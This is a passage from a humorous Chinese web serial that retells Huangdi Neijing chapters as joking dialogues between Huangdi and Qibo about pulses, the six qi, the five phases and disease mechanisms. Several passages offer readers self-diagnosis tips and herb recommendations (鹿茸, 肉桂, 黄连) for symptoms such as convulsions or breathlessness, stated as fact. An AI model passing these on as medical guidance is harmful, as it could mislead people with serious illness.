岐伯喝了口茶，继续说道：“接下来是少阳脉，这少阳脉一来，就像那大大的气球一样，浮得让人眼花缭乱。你想象一下，你正在吹气球，吹着吹着，气球就变得好大好大，好像随时都要爆炸一样。少阳脉就这样，大而浮，说明身体里的胆气或者阳气正在上升。” 黄帝笑得肚子疼：“哈哈，少阳脉原来是‘浮’力小王子啊！” 岐伯又接着说：“然后是阳明脉，这阳明脉一来，就像那短短的蜡烛一样，濇得让人心里发慌。你想象一下，你正在点蜡烛，结果蜡烛太短了，你费了好大劲才把它点着，但很快就烧完了。阳明脉就这样，短而濇，说明胃气或者大肠气可能不太顺畅。” 黄帝笑得直不起腰：“哈哈，阳明脉原来是‘濇’手小短腿啊！” 岐伯最后说：“最后是太阳脉，这太阳脉一来，就像那长长的火车一样，大得让人惊叹。你想象一下，你正在坐火车，火车长长的，一节一节地连在一起，开得飞快。太阳脉就这样，大而长，说明身体里的膀胱气或者小肠气非常旺盛。” 帝笑得都快喘不过气了：“哈哈，太阳脉原来是‘长’途旅行家啊！” 岐伯看着笑得东倒西歪的黄帝，说：“陛下啊，你笑归笑，但脉象这东西可不是闹着玩的。脉象要是来得和缓，那就说明身体还算健康；要是来得太猛，那就说明身体可能出毛病了；要是脉象反着来，比如本该浮的却沉了，本该沉的却浮了，那就更严重了；要是脉象该来的时候没来，不该来的时候却来了，那也是病；还有啊，要是阴阳脉象互相交错，那就更危险了，得赶紧找大夫看看。” 话说有一天，黄帝（咱们中医界的“老闲着没事，就拉着岐伯开始了一场关于天气的深度探讨。不过，他们聊的不是今天会不会下雨，而是中医里的“六气标本”。 黄帝：岐伯啊，你说这六气标本，它们的“跟从”原则怎么就这么复杂呢？一会儿从本，一会儿从标本，一会儿又不从标本的，我都快绕晕了！ 岐伯一听，微微一笑，心想：这家伙又来找茬了，不过谁让我是智多星呢，来吧！于是，他慢悠悠地说：黄帝啊，这事儿得这么看。六气里啊，有的气喜欢跟着自己的“本”走，有的呢，就既跟“本”也跟“标”，还有的，嘿，人家根本不理会“本”和“标”，自己特立独行，跟着“中气”混！ 黄帝一听，眉头一皱，发现事情并不简单，于是说：岐伯啊，你这解释得也太简略了吧？来来来，详细说说，让我这脑袋瓜子也开开窍！ 岐伯一看黄帝这求知若渴的样子，心里暗笑，但嘴上还是一本正经地说：好嘞，那我就给你细细道来！ 首先啊，咱们得知道啥是“六气”。六气就是大自然界的六种气候变化，分别是风、寒、暑、湿、燥、火。这六种气啊，就像咱们家里的六个兄弟姐妹，各有各的脾气，各有各的规矩。 然后呢，“标本”又是啥呢？在中医里，“标”就是六气在人体表现出来的症状或者现象，“本”呢，就是六气本身的性质或者根源。比如风，它刮起来让人感觉到凉爽或者寒冷，这就是“标”；而风本身的性质，比如它轻扬、开泄、向上的特点，这就是“本”。 接下来，咱们就说说哪些气喜欢跟着“本”走。少阳和太阴就是两个典型的例子。少阳呢，就像是个阳光少年，总是充满活力，喜欢往上升发。所以啊，它表现出来的症状，比如头痛、发热、目眩这些，都是它本身阳气上升、外散的特点，这就是“从本”。太阴呢，就像是个温柔的大姐姐，总是关心着家里的每一个人，喜欢滋润、养育万物。所以啊，它表现出来的症状，比如腹痛、腹泻、食欲不振这些，都是它本身阴气滋润、收敛的特点，也是“从本”。 这章没有结束，请点击下一页继续阅读！那哪些气又喜欢既跟“本”也跟“标”呢？少阴和太阳就是两个“墙头草”。少阴呢，就像是个叛逆的青少年，有时候想跟着阳气一起上升、外散（从本），有时候又想跟着寒气一起收敛、沉降（从标）。所以啊，它表现出来的症状就一会儿热一会儿寒，让人捉摸不透。太阳呢，就像是个爱管闲事的家长，既想维护家里的秩序（从本），又想关心每个家庭成员的感受（从标）。所以啊，它表现出来的症状就既有发热、恶寒这些表证，又有脉浮、头项强痛这些太阳经的症状。 最后啊，咱们说说那两个特立独行的家伙——阳明和厥阴。阳明呢，就像是个吃货，不管你是风是寒还是湿是燥，它都想尝尝看。所以啊，它表现出来的症状就五花八门，啥都有。不过呢，它最喜欢的还是燥气，因为燥气能让它感觉最舒服。所以啊，咱们说阳明“不从标本，从乎中也”，“中”就是中焦脾胃，阳明就像是个永远吃不饱的孩子，总是盯着中焦的“食物”不放。厥阴呢，就像是个爱搞恶作剧的家伙，它总是想打破常规，搞点新花样。所以啊，它表现出来的症状就一会儿寒一会儿热，一会儿虚一会儿实，让人摸不着头脑。不过呢，它最喜欢的还是风气，因为风气能让它感觉最自由。所以啊，虽然厥阴也“不从标本，从乎中也”，但它跟阳明的“中”可不一样，它的“中”更像是内心的自由与变化。 黄帝一听岐伯这解释，顿时恍然大悟，拍着手说：岐伯啊，你这解释得太到位了！我以后再看六气标本，就像看家里的兄弟姐妹一样清楚了！ 岐伯一听黄帝这夸奖，心里也是美滋滋的，心想：这家伙今天总算是开窍了！于是，两人相视一笑，继续探讨起了中医的奥秘。 不过啊，咱们这故事讲到这里可还没完呢！你知道吗？这六气标本啊，其实还跟咱们的日常生活息息相关呢！比如啊，你要是感觉自己最近总是头痛发热、眼睛干涩，那可能就是少阳之气太旺了；要是感觉自己总是腹痛腹泻、食欲不振，那可能就是太阴之气不足了；要是感觉自己一会儿冷一会儿热、一会儿又没事了，那可能就是少阴和太阳在打架呢！所以啊，咱们平时得多留意自己的身体变化，这样才能及时发现并调理好身体哦！ 这天，阳光明媚，鸟语花香，黄帝和岐伯坐在一棵老槐树下，泡着上好的龙井，开始了他们的日常“医学脱口秀”。 黄帝呷了一口茶，悠悠地说：“岐伯啊，你说这脉诊啊，真是神奇得很。有时候，我摸着脉，感觉挺顺畅的，但病人却一脸痛苦，说自己浑身不舒服，这事儿你怎么看？” 岐伯一听，哈哈一笑，那笑容仿佛能治愈一切疾病似的，他捋了捋长胡子，故作神秘地说：“这事儿啊，得从脉象的‘从’与‘不从’说起。脉象‘从’，就好比是臣民顺从君王，一切顺利，按部就班。但要是这脉象虽然‘从’，可按下去却软绵绵的，像是个泄了气的皮球，那就得注意了。” 黄帝一听，眉头一皱，疑惑地说：“软绵绵的？这是什么意思？难道脉象还会装腔作势，欺骗咱们这些老中医？” 岐伯一听，差点没笑喷出来，他拍了拍黄帝的肩膀，笑道：“黄帝啊，你这想象力也是没谁了。脉象哪会装腔作势啊，它这是在给我们传递信息呢！脉象软绵绵的，说明阳气不足啊，就像是冬天里的太阳，看着挺亮堂，其实一点不暖和。” 黄帝一听，恍然大悟，点了点头，但又忍不住问：“那所有阳脉都这样，是不是意味着病人全身阳气都缺啊？这也太夸张了吧！” p> 岐伯老先生又是一阵大笑，他指了指天边的云朵，说道：“黄帝啊，你看那云朵，有时候看着挺大挺厚的，其实里面都是水汽，轻轻一碰就散了。脉象也是这样，看着挺顺，其实里面阳气不足，就像是个空壳子，中看不中用。” 黄帝一听，也忍不住笑了起来，他感叹道：“岐伯啊，你这比喻真是绝了！这么说来，脉诊还真是门艺术，得用心去体会，去感受。” 岐伯点了点头，补充道：“没错，脉诊就像是读一本无字天书，需要我们用心去解读。有时候，脉象看似简单，实则暗藏玄机。就像是一盘棋局，一步走错，满盘皆输。” 黄帝一听，若有所思地说：“这么说来，咱们这些老中医啊，不仅要医术高超，还得有颗敏锐的心才行。” 岐伯一听，连连点头，笑道：“对对对，就像是你刚才说的，脉象也会‘欺骗’咱们。有时候，它明明有问题，却装得跟没事人一样，这就需要咱们用心去捕捉那些细微的变化，就像是侦探一样，不放过任何一点蛛丝马迹。” 黄帝清了清嗓子，一脸认真地问道：“岐伯啊，你说如果一个人身体里的阴气全反了，那他的脉象会是个啥样呢？” 岐伯一听，嘿，这问题有意思！他捋了捋胡子，故作深沉地说：“脉象啊，它会乖乖地来，但你要是一按，嘿，那可就不得了了，跟充了气似的，鼓得老高，盛气凌人的！”黄帝一听，差点没忍住笑出声来，心想：这岐伯，还真是个段子手。 这章没有结束，请点击下一页继续阅读！岐伯见状，也不由得笑了笑，接着说道：“说到生病啊，那原因可多了去了。有的病是从根儿上长的，就像树有个坏树根；有的病呢，就像是树上的叶子，是表面现象；还有的病，是中间那股气儿给闹的，就像是家里的二小子，调皮捣蛋，总惹事。所以啊，治病也得讲究个方法，你得知道病是哪儿来的，才能对症下药。” 黄帝听得津津有味，忍不住插嘴道：“那咋对症下药呢？是不是得把病根儿给挖出来？”岐伯摇了摇头，说：“非也非也，治病就像打游戏，你得知道是打怪还是解谜。有时候你得直接干翻大boss（病根儿），有时候你得先搞定那些小喽啰（表面症状）。还有啊，你得看准时机，有时候得逆着病势来，有时候得顺着它来。就像你跟人吵架，有时候得硬气点，有时候得服个软，对吧？” 黄帝一听，眼睛一亮，连连点头：“对对对，岐伯你说得太对了！那这么说来，只要知道了标本，治病就不愁啦？”岐伯笑着点点头：“没错，标本就像你的左右手，你得知道哪个是主力，哪个是辅助。要是你连这都分不清，那别说治病了，你连给自己号个脉都费劲！” 黄帝一听，忍不住笑了起来：“哈哈，岐伯你这嘴皮子真是越来越溜了！不过话说回来，要是真有人连标本都分不清，那可咋整？”岐伯叹了口气，说：“那可真是惨喽！这种人要是去给人看病，那简直就是灾难啊！就像让一个路痴去给人指路，你说结果会怎样？” 黄帝一听，更是笑得前仰后合：“哈哈，岐伯你这比喻真是太绝了！不过话说回来，标本之道虽然听起来简单，但里面的学问可大了去了。就像咱们中医，虽然看起来复杂，但只要你掌握了其中的规律，那就能一通百通，治病如神。” 至真要大论篇第七十四（二十一） 话说有一天，黄帝又找上了岐伯，两人一见面，黄帝就抛出了个大问题：“岐伯啊，你说这自然界的五行胜复变化，它来得早还是晚，有没有什么规律可循啊？” 岐伯一听，心里暗笑：“这黄帝啊，又想考我呢！”但面上依旧是一本正经，悠悠地说：“黄帝啊，这事儿啊，咱们得从头捋。你想啊，五行相克这事儿，就跟咱们人间的恩怨情仇似的，一旦那个‘克’你的家伙来了，你肯定就先病了。这病啊，它还不是一般的病，是那种让你心里窝火、憋屈得慌的病。然后呢，等你觉得差不多要被这病折磨疯了的时候，那个来‘复仇’的家伙就开始悄悄萌芽了。” 黄帝一听，眉头一皱：“哦？这么说来，这复仇的家伙还挺会挑时候的嘛！” 岐伯点了点头：“可不是嘛！这复仇的家伙啊，它得等到那个‘克’你的家伙力量耗尽了，它才肯出来。而且啊，它一出来，那可是要占尽风头的，非得闹得满城风雨不可。这力量嘛，也是有大有小的，有时候复仇的劲儿小点儿，有时候那简直就是狂风暴雨啊！还有啊，这胜复之间啊，还有个讲究，那就是‘胜和而和，胜虚而虚’。说白了，就是如果你被克的时候还能保持平衡，那复仇的时候也能保持平衡；要是你被克得虚弱不堪了，那复仇的时候啊，你也只能是个纸老虎了。这就是自然界的常理啊！” 黄帝一听，哈哈大笑：“伯爷啊，你这解释可真是通俗易懂啊！这么说来，咱们中医看病啊，也得看看这五行胜复的早晚了？” 岐伯也跟着笑了起来：“那是自然啊！你看啊，咱们中医看病，不就是得看看这人的五行属性，再看看他现在的身体状况，是不是被哪个‘克’他的家伙给盯上了。要是盯上了，那咱就得赶紧想办法，帮他把这复仇的家伙给请出来，或者至少得让他别那么嚣张嘛！” 黄帝一听，更是笑得前仰后合：“岐伯啊，你这说得我都想去做中医了！不过话说回来啊，这五行胜复的变化啊，还真是挺有意思的。就像咱们人间的恩怨情仇一样，有时候你得忍着点儿，有时候你又得反击一下，不然啊，这日子可就没法过了！” 岐伯一听，也是笑得合不拢嘴：“黄帝啊，你这话可是说到点子上了！咱们中医啊，其实就是讲究一个平衡。你看啊，这五行之间啊，相生相克，就像咱们人间的关系一样复杂。所以啊，咱们看病啊，就得看看这五行之间是不是平衡了。要是不平衡啊，那就得赶紧想办法调整一下了！” 黄帝一听，连连点头：“对对对！岐伯啊，你这话说得太对了！咱们中医啊，就是得讲究这个平衡。就像咱们生活中的那些琐事一样，有时候你得忍一忍，有时候你又得反击一下。不然啊，这日子可就没法过了！而且啊，这五行胜复的变化啊，还跟咱们的情绪有关系呢！你看啊，有时候你心情不好了，那可能就是你被哪个‘克’你的家伙给盯上了。所以啊，咱们得时刻保持好心情啊！” 岐伯一听，也是连连称是：“黄帝啊，你这话可是说到我心坎里去了！咱们中医啊，就是讲究一个身心合一。你看啊，这身体上的问题啊，往往都跟情绪有关系。所以啊，咱们看病啊，不仅得看看身体上的问题啊，还得看看情绪上的问题呢！不然啊，这病啊，可是不容易好的！” 黄帝一听，更是笑得合不拢嘴：“岐伯啊，你这说得我都想去开个中医心理咨询所了！不过话说回来啊，这五行胜复的变化啊，还真是挺有意思的。就像咱们人生的起伏一样，有时候你得经历一些挫折啊，有时候你又得迎来一些机遇。所以啊，咱们得时刻保持一颗平常心才行啊！” 岐伯一听，也是笑得前仰后合：“黄帝啊，你这话可是说到点子上了！咱们中医啊，其实就是在教咱们怎么做人啊！你看啊，这五行之间啊，相生相克啊，就像咱们人生的关系一样复杂。所以啊，咱们得时刻保持一颗平常心才行啊！不管遇到什么事情啊，都得保持冷静啊！不然啊，这日子可就没法过了！” 黄帝坐在龙椅上，眉头紧锁，一脸困惑地对身边的岐伯说：“岐伯啊，我发现这 自然界的胜复之气（就是自然界气候的变化规律）老是爱玩‘失踪’，有时候不按套路出牌，该来的时候不来，不该来的时候它又溜达一圈，这到底是唱的哪一出啊？” 岐伯一听，嘿，这不是个难题嘛，于是捋了捋他那飘逸的胡须，悠悠地说：“陛下啊，这事儿其实挺有意思的，得从咱们中医里的阴阳五行、四季更替说起。您想啊，自然界的这股子气，它生成的时候跟它变化过程中的强弱，那可是两码事儿。就像咱们吃饭，饿的时候吃啥都香，吃饱了就开始挑剔了，对吧？” 黄帝一听，点头如捣蒜：“对对对，岐伯你说得在理。” 岐伯接着说：“您看，这寒、暑、温、凉，就像是咱们四季的四个小助手，它们各自有自己的小脾气，还特别喜欢在‘四维’（就是东南西北四个方向，也代表春夏秋冬四季的转换点）上捣乱。阳气的活动呢，就像个早起的鸟儿，从春天开始，先是温柔地来个‘小暖男’——温，然后到了夏天，就直接变身‘热情如火’的暑了。而阴气呢，它就比较含蓄，秋天先是来个‘小清新’——清，到了冬天，那就彻底变成了‘冷酷到底’的寒。” 这章没有结束，请点击下一页继续阅读！黄帝听得津津有味，忍不住插话：“这比喻，绝了！那春夏秋冬这四个季节，它们之间有啥不一样呢？” 岐伯哈哈一笑：“陛下，您这问题问得好。这四个季节啊，就像是四个性格迥异的兄弟姐妹。春天呢，是个温柔的小妹妹，她轻轻地来，带着温暖和生机；夏天，那就是个热情奔放的大哥哥，恨不得把所有的热情都洒在大地上；秋天，是个有点小脾气的姐姐，她开始收起笑容，变得严肃，带来凉爽和收获；冬天，则是那个沉默寡言的哥哥，用寒冷包裹着世界，却也藏着孕育新生的秘密。” 黄帝恍然大悟：“原来如此，那《大要》里说的‘彼春之暖，为夏之暑，彼秋之忿，为冬之怒’又是什么意思呢？” 岐伯耐心地解释：“这句话啊，就是说每个季节的变化都是循序渐进的，春天的温暖是为了夏天的炎热做准备，秋天的凉爽中带着一丝不满（忿），是因为它在为冬天的严寒蓄势待发。咱们只要仔细观察这四季的转换，就像是派出去的斥候（侦察兵），把每个季节的‘情报’都收集回来，那么，无论是季节的开始还是结束，都能了然于胸了。” 黄帝听完，拍案叫绝：“岐伯，你这一番话，简直是把自然界的奥秘讲活了！这阴阳五行，四季更替，原来这么有趣！” 岐伯微微一笑，继续他的“讲解”：“陛下，您知道吗？这自然界的‘迟到早退’现象，其实就像是咱们生活中的小插曲。有时候，春天来得晚了点，可能是因为冬天的寒气舍不得走，多逗留了一会儿；夏天要是来得早了，那可能是春天的暖阳太热情，提前把夏天的消息给透露了。所以啊，咱们得学会理解这些自然的小情绪，顺应它们的节奏，这样才能身体倍儿棒，吃嘛嘛香！” 话说有一天，黄帝闲来无事，就拉着岐伯聊起了天。黄帝一脸好奇地问：“岐伯啊，你说人的脉象差异，是不是跟咱们数学里的数字一样，有无数个可能呢？” 岐伯一听，笑眯眯地说：“哎呀，黄帝大人，您这数学问题可是问到点子上了。不过呢，咱们中医讲究的是‘天人合一’，脉象虽然千变万化，但还是有规律可循的。就像我手里这把尺子，虽然能量出无数个长度，但基本的刻度单位还是那三十个。脉象啊，也差不多是这个意思，虽然复杂，但总逃不过这‘三十度’的范畴。” 黄帝一听，眼睛一亮：“哦？这么说来，脉象还是有迹可循的嘛。那你快说说，这脉象和季节、身体状态到底怎么对应啊？” 岐伯清了清嗓子，开始了他的“脉诊小课堂”：“黄帝大人，您听好了啊。这脉象啊，就像是个调皮的孩子，每个季节都有它的‘小脾气’。春天呢，脉象应该像春风一样柔和，不能沉得像冬天的冰；夏天呢，脉象就得像琴弦一样有弹性，但别弦得跟拉弓似的；秋天呢，脉象得稳如老狗，别数得跟心跳加速 似的；冬天呢，脉象就得像小溪流水，别涩得跟便秘似的。这四种脉象，要是反了，那就是身体在给您发警告信号了，咱们中医管这叫‘四塞’。” 黄帝听得津津有味，忍不住插话：“那要是脉象沉得过头、弦得过头、涩得过头、数得过头呢？” 岐伯哈哈一笑：“黄帝大人，您这可是问到点子上了。脉象要是过头了，那就是身体在告诉您：‘嘿，哥们儿，我该休息了！’比如，脉沉得太厉害，那就是身体里的阳气不足，得补补了；脉弦得太厉害，那可能是肝气郁结，得疏疏肝了；脉涩得太厉害，那可能是气血不畅，得活血化瘀了；脉数得太厉害，那可能是心火旺盛，得降降火了。要是这些脉象轮流上阵，或者干脆就不走了，那更是得小心了，身体可能已经出了大问题。” 黄帝一听，眉头紧锁：“这么说来，脉象还真是咱们身体的‘晴雨表’啊。” 岐伯点了点头：“没错，脉象就是咱们身体的‘天气预报’，能提前告诉您‘天气’怎么样。所以啊，咱们中医看病，第一件事就是摸脉，就像您每天出门前得看看天气预报一样。” 黄帝突然来了兴致：“那你说说，脉象要是反了，会怎么样呢？” 岐伯叹了口气：“脉象要是反了，那可就是大事不妙了。比如，冬天脉象本该沉而有力，结果却浮而无力，那就是阳气外泄，身体在走下坡路了。这种脉象要是持续下去，那可能就得准备后事了。所以啊，咱们中医讲究‘治未病’，就是要提前发现脉象的异常，把病扼杀在摇篮里。” 黄帝一听，恍然大悟：“原来如此，看来脉象这东西，还真是得好好研究研究啊。” 岐伯笑了笑：“黄帝大人，您说得没错。脉象这东西，就像是一本无字天书，咱们得用心去读，才能读懂它背后的奥秘。不过呢，也不用太担心，只要咱们掌握了规律，就能像解数学题一样，轻松应对了。” 说到这里，岐伯突然话锋一转：“对了，黄帝大人，您知道为什么脉象会变化吗？其实啊，这都是咱们身体里的阴阳之气在捣鬼。阴阳之气要是平衡了，身体就健康；要是失衡了，身体就出问题了。所以啊，咱们中医看病，其实就是调整阴阳平衡的过程。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！黄帝有一天心血来潮，对岐伯发起了哲学三连问：“嘿，岐伯，你说说这幽明到底是个啥玩意儿啊？” 岐伯一听，就知道黄帝这是要开讲阴阳大法了，于是故作深沉地捋了捋下巴上那几根稀疏的胡子，慢条斯理地说：“皇上啊，您这问题问得可有水平了。您看，这‘幽’啊，就像是深夜里两个老朋友——阴气和寒气，悄悄咪咪地躲在角落里聊天，彼此交心，那氛围，啧啧，那叫一个‘幽’啊！而‘明’呢，则是大白天的，太阳大哥和阳气小弟手拉手，光芒万丈，普照大地，那场面，才叫一个‘明’亮堂堂呢！所以啊，幽和明，就是阴和阳这对欢喜冤家在不同时间、不同场合的亲密配合，带来的就是咱们感受到的寒冷和炎热，是不是很有哲理呀？” 黄帝一听，心里那个乐呵，心想：这岐伯真是个段子手，把阴阳说得这么接地气，差点没把我笑岔气。不过，黄帝也是个爱追根究底的主儿，接着又问：“那分至又是怎么回事呢？是不是也跟阴阳有关？” 岐伯一看黄帝这求知欲旺盛的样子，心里那个得意啊，继续他的段子手之路：“皇上啊，您这问题问得太到位了！这‘分至’啊，说白了就是阴阳气候变化的节点。咱们说的‘至’，就是节气到了，比如夏至、冬至，这时候啊，阳气或者阴气就像开会一样，全到齐了，整个天地间那股子气就特别纯正，要么热得你怀疑人生，要么冷得你直哆嗦，这就是‘至’的力量。而‘分’呢，就是春秋分，这时候阴阳之气平分秋色，你一半我一半，互相不打扰，天气就温和多了，不冷不热的，正好适合咱们出去浪。所以啊，‘至’是气同，‘分’是气异，这就是天地间最正宗的规矩，咱们得顺着来，不然啊，嘿嘿，可就要遭殃咯！” p> 阴阳啊，就像是咱们生活中的双胞胎兄弟，一个热情似火（阳），一个冷静如水（阴）。它们虽然性格迥异，但缺了谁都不行。咱们的身体里，也有阴阳的平衡，比如白天工作学习，那是阳气旺盛的时候，晚上休息睡觉，就是阴气主导的时刻。阴阳平衡了，咱们身体就健康，心情也愉快；要是阴阳失调了，那就得生病了，不是这里不舒服，就是那里不对劲。 而且啊，阴阳可不是一成不变的，它们还会随着季节、天气、时间的变化而变化。比如夏天，阳气旺盛，咱们就感觉到热乎乎的；冬天呢，阴气重，咱们就冷得直哆嗦。春秋两季呢，就是阴阳平衡的好时节，不冷不热的，最适合户外活动了。 说到这，不得不提一下中医里的“四气五味”。四气就是寒、热、温、凉，跟阴阳息息相关。寒凉的药材，就像是冬天里的一盆冷水，能降火、清热；温热的呢，就像是夏天里的一杯热茶，能驱寒、暖身。五味呢，就是酸、苦、甘、辛、咸，每种味道都跟咱们的脏腑有着千丝万缕的联系。比如酸味入肝，能收敛肝气；苦味入心，能清心火；甘味入脾，能补脾胃；辛味入肺，能发散肺气；咸味入肾，能补肾精。 所以啊，中医看病，可不是简单的头疼医头、脚疼医脚，而是要从整体出发，看看阴阳是否平衡，脏腑是否和谐。这就像是咱们玩游戏，不仅要升级打怪，还得注意角色的血量和魔法值，不然一不小心就game over了。 至真要大论篇第七十四（二十二） 黄帝一脸认真地问岐伯：岐伯啊，您之前说的那个春秋之气从前面来，冬夏之气从后面来的理论，我已经get到了！不过，我还是有点懵，这六气跑来跑去，每年还都不一样，咱们要是想调理身体，该怎么补怎么泻呢？您得给我支支招啊！ 岐伯捋了捋胡子，故作高深地说：哎呀，这事儿啊，简单！你得先明白，咱身体的上下左右，哪儿需要啥，咱就给啥，关键是要找准那个“味”，那才是精髓呢！左右两边也是同样的道理，别搞混了。 黄帝挠了挠头挠，不解地问道：味？啥味？您这说得也太抽象了吧！ 岐伯笑道：别急，听我慢慢道来。《大要》这本书里啊，可都写着呢！比如说，少阳这位“大佬”来了，咱就先给他来点甜的，让他高兴高兴，然后再来点咸的，让他觉得生活有滋有味。 黄帝一脸疑惑地问：甜的？咸的？这不会是让我直接吃糖和盐吧？ 岐伯摇了摇头，说道：非也非也！甜的嘛，你可以想想甘草，那可是中药里的“和事佬”，啥方子都能搭一把手。咸的呢，就像海盐，虽然不能直接吃，但很多中药里都有它的影子，比如芒硝，那可是清热泻火的好手！ 黄帝若有所思道：哦~原来如此！那阳明这位“大佬”呢？ 岐伯继续说：阳明来了，咱就先给他来点辛辣的，比如生姜、葱白这些，让他精神抖擞。然后再来点酸的，比如山楂、乌梅，让他觉得生活酸甜可口，有滋有味。 黄帝笑得合不拢嘴：哈哈，您这说得我都流口水了！那太阳这位“大佬”呢？ 岐伯又说道：太阳啊，那可是个“重口味”的家伙！你得先给他来点咸的，比如盐巴，让他觉得够味儿。然后再来点苦的，比如黄连、黄柏这些，虽然苦口，但绝对是“良药苦口利于病”啊！ 黄帝苦笑道：这药苦得，怕不是要把我喝成“苦瓜脸”吧？ 岐伯哈哈大笑：哈哈，不会不会！只要用对了，那都是甜的！ 黄帝点了点头，又问：嗯，您说的有道理！那厥阴这位“大佬”呢？ 岐伯又继续说道：厥阴啊，你得先给他来点酸的，比如山楂、柠檬这些，让他开胃。然后再来点辛辣的，比如花椒、辣椒，让他觉得生活充满刺激！ 黄帝眼睛一亮，兴奋地问道：嘿，这听起来还挺有意思的！那少阴和太阴呢？ 岐伯又说道：少阴啊，跟少阳差不多，也是先甜后咸。甜的嘛，还是甘草那些。咸的呢，可以是些补肾的药材，比如熟地、肉桂这些。太阴呢，就是先苦后甘了。苦的嘛，像黄芩、黄连这些清热燥湿的药材。甘的呢，就是党参、白术这些补气养血的好东西！ 黄帝拍手叫好道：妙哉妙哉！您这一说，我算是明白了！不过，这佐以所利，资以所生，又是什么意思呢？ 岐伯又继续科普：这个嘛，就是说你得根据身体的需要来调配药材。比如说，如果你身体缺火了，那就得用点温热的药材来“佐”一下；如果你身体太燥了，那就得用点滋阴的药材来“资”一下。总之啊，就是要让身体达到一个平衡的状态！ 黄帝点头如捣蒜：对对对！平衡最重要！那咱这中药啊，还真是一门深奥的学问呢！ 岐伯微笑地总结：是啊！中药这东西啊，就像咱们的人生一样，酸甜苦辣咸，五味杂陈。但只要咱们用心去品尝、去调配，总能找到那份属于自己的“甜”！ 黄帝坐在龙椅上，眉头紧锁，似乎在思考着什么大问题。他转头对岐伯说：“岐伯啊，你说这世间的病啊，咋就这么难搞呢？它们都是从哪儿冒出来的？” 岐伯一听，心里暗笑，这黄帝老爷子又犯嘀咕了。他捋了捋长白胡子，慢悠悠地说：“陛下啊，这病啊，说白了都是那六大淫邪——风寒暑湿燥火搞的鬼。它们就像六个调皮捣蛋的小鬼，一变二，二变四，搞出各种花样来折磨人。” 黄帝一听，眼睛一亮：“哦？这么说来，咱们只要搞定这六个小鬼，就能天下太平了？” 岐伯微微一笑，摇了摇头：“陛下啊，事情哪有那么简单。虽然理论上咱们可以‘盛者泻之，虚者补之’，但实际操作起来，那可就复杂多了。你看那些方士们，整天拿着方子晃悠，但真正能做到药到病除的，又有几个呢？” 黄帝一听，顿时来了精神：“岐伯啊，你这话可就说到我心坎里去了。我就想找个法子，让这看病治病变得跟敲鼓一样，咚咚两下，病就跑了。你说，有没有这么神奇的方法？” 岐伯一听，差点没笑出声来：“陛下啊，你这要求可真够高的。不过呢，要说方法嘛，还真有那么一个，那就是——审察病机，无失气宜。” 黄帝一听，眉头又皱了起来：“啥？病机？气宜？这都是啥玩意儿？” 岐伯一看黄帝这迷茫样，心里暗笑，这陛下平时忙于国事，对这些中医术语还真是不太了解。于是他耐心地解释道：“陛下啊，这病机呢，就是病发生的原因和机理。你得先搞清楚病是怎么来的，才能对症下药。比如说，一个人得了风寒感冒，那你就得用发散风寒的药，像麻黄、桂枝这些，把它们赶走。” 黄帝一听，点了点头：“哦，原来如此。那气宜呢？” 岐伯继续解释：“气宜啊，就是气候和人体生理机能的适应性。你看，不同的人在不同的气候条件下，反应也不一样。比如夏天热，大家都容易出汗，这时候你要是得了暑湿病，那就得用清热利湿的药，像黄连、黄芩这些，把湿热给排出去。” 黄帝一听，恍然大悟：“原来如此啊！这么说来，这看病治病，还真得讲究个天时地利人和啊！” 岐伯笑了笑：“没错，陛下。而且啊，这中药啊，可不是随便乱用的。你得根据病情、体质、气候来综合考虑。比如说，同样是感冒，有的人是风寒感冒，用点麻黄、桂枝就能搞定；有的人是风热感冒，那你就得用银花、连翘这些清热解毒的药了。要是用反了，那可就得不偿失了。” 黄帝一听，连连点头：“岐伯啊，你这话说得太对了。看来我这以后啊，得多跟你学学这中医之道了。” 岐伯一听，心里那叫一个美啊，赶紧趁机推销自己的理论：“陛下啊，你看这中医啊，可是一门大学问。它不仅仅能治病救人，还能让人养生延年。像那枸杞啊，就能补肾益精；红枣呢，能补气养血；菊花啊，能清肝明目。你要是平时没事多吃点这些，保证你身体倍儿棒，吃嘛嘛香！” 黄帝对中医的病机理论那叫一个着迷。于是，他就问身边的岐伯：“嘿，岐伯啊，我一直特想知道，这病机到底是个啥玩意儿？能不能给我讲讲？” 岐伯一听，心里那叫一个得意，心想：终于有人愿意听我唠叨这些中医知识了！于是，他清了清嗓子，开始了一段既专业又略带幽默的讲解。 岐伯缓缓道来：“陛下啊，这病机啊，说白了就是疾病发生的那个根儿，那个源头。咱们中医讲究的是整体观念，认为人体和自然环境是一个整体，人体内部也是一个整体。所以啊，这病机也是多种多样的，得根据症状来推断。” “比如说吧，这‘诸风掉眩，皆属于肝’。就是说啊，如果你感觉头晕目眩，手脚还时不时地发抖，那多半是你的肝在作怪。为啥呢？因为肝主风啊，它要是出了问题，风就在你身体里乱窜，搞得你晕头转向的。这时候啊，你得找找养肝的药材，比如那个枸杞啊，菊花啊，都能帮你把肝给养好了。” “再比如，‘诸寒收引，皆属于肾’。这说的是啊，你要是觉得身上冷得不行，手脚还老抽筋，那可能就是肾阳不足了。肾可是咱们人体的‘小火炉’，它要是烧得不旺，你自然就觉得冷。这时候啊，你就得补补肾阳了，像那个鹿茸啊，肉桂啊，都是补肾阳的好东西。” “陛下啊，这还没完呢！还有‘诸气膹郁，皆属于肺’。要是你觉得老是喘不上气来，胸口还憋得慌，那可能是肺在跟你抗议了。肺主气啊，它要是功能不好，你自然就觉得呼吸不畅了。这时候啊，你得吃点润肺的药材，比如百合啊，银耳啊，都能帮你把肺给滋润了。” “还有啊，‘诸湿肿满，皆属于脾’。这说的是啊，你要是觉得身上老是湿漉漉的，还容易水肿，那可能是脾在跟你捣蛋了。脾主运化啊，它要是运化不好，水湿就在你身体里滞留了。这时候啊，你得吃点健脾的药材，比如茯苓啊，白术啊，都能帮你把脾给调理好了。” “陛下啊，咱们继续啊！这‘诸热瞀瘈，皆属于火’。要是你觉得身上热得不行，还时不时地抽搐，那可能是火邪在作怪。火邪啊，它可是个调皮鬼，喜欢到处乱窜。这时候啊，你得吃点清热的药材，比如黄连啊，黄芩啊，都能帮你把火给灭了。” “再说说这‘诸痛痒疮，皆属于心’。要是你觉得身上老是这儿疼那儿痒的，还长疮，那可能是心火太旺了。心主血脉啊，它要是烧得太旺，血脉里的血就跟着沸腾了，你自然就觉得不舒服了。这时候啊，你得吃点清心火的药材，比如莲子心啊，竹叶心啊，都能帮你把火 给降下来。” 